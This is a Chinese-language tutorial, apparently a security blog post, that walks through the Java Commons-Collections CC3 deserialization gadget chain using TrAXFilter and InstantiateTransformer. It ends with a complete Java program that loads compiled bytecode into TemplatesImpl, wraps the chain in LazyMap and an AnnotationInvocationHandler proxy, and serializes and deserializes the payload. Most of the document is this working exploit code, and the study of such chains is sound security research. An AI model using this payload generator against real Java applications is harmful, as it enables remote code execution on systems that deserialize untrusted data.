java cc链3TrAXFilter与InstantiateTransformer
上文最后调用
templates.newTransformer()
cc链1中,是通过InvokerTransformer.transform
方法,通过反射进而执行系统命令,这里通过反射调用TemplatesImpl.newTransformer
,实现和templates.newTransformer()
相同的效果
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
invokerTransformer.transform(templates);
再往后走一点就变为了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
,
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1);
然后问题又回到了调用ChainedTransformer.transform
方法上,直接利用cc1的后半部分即可
或者说 找到一个调用TemplatesImpl.newTransformer
方法的类,这里使用TrAXFilter
在public方法中调用
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
那么templates.newTransformer()
就可以变为
TrAXFilter trAXFilter = new TrAXFilter(templates);
然而TrAXFilter不能进行序列化,在InstantiateTransformer.transform
方法中存在一个反射方法,
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
获取一个特定参数类型的构造函数,那么刚好利用TrAXFilter的public TrAXFilter
方法,该方法接受一个Templates
类
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input Class object to a result by instantiation.
*
* @param input the input object to transform
* @return the transformed result
*/
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
那么这里的input就是TrAXFilter.class
,iParamTypes就是Templates
类,这样就可以在TrAXFilter.class
中找到public TrAXFilter
方法,而我们想用TrAXFilter.class
执行TemplatesImpl.newTransformer()
,所以这里的iArgs就是templates,那么完整代码就是
InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
input.transform(TrAXFilter.class);
实现了templates.newTransformer()
的目的,发现又转到了如何实现InstantiateTransformer.transform
方法,这里就很简单了,直接使用
InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
input
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1);
即可 ,ChainedTransformer递归调用,ConstantTransformer将TrAXFilter.class返回到InstantiateTransformer.transform
方法中,实现了input.transform(TrAXFilter.class)
的目的剩下的就是替换后面的内容为TransformedMap
或者LazyMap
TransformedMap
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class test08 {
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
oos.writeObject(object);
}
//定义反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// TrAXFilter trAXFilter = new TrAXFilter(templates);
InstantiateTransformer input = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// input.transform(TrAXFilter.class);
// templates.newTransformer();
// InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
// invokerTransformer.transform(templates);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
input
};
Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(1);
HashMap map=new HashMap<>();
// TransformedMap
// map.put("value","gxngxngxn");
// Map transformedmap= TransformedMap.decorate(map,null,transformerChain);
//
// Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
// constructor.setAccessible(true);
// Object o=constructor.newInstance(Target.class,transformedmap);
// lazymap
Map<Object,Object> lazymap= LazyMap.decorate(map,transformerChain);
// transformedmap.get("test");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Override.class,lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazymap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);
serialize(annotationInvocationHandler);
unserialize("person.bin");
}
}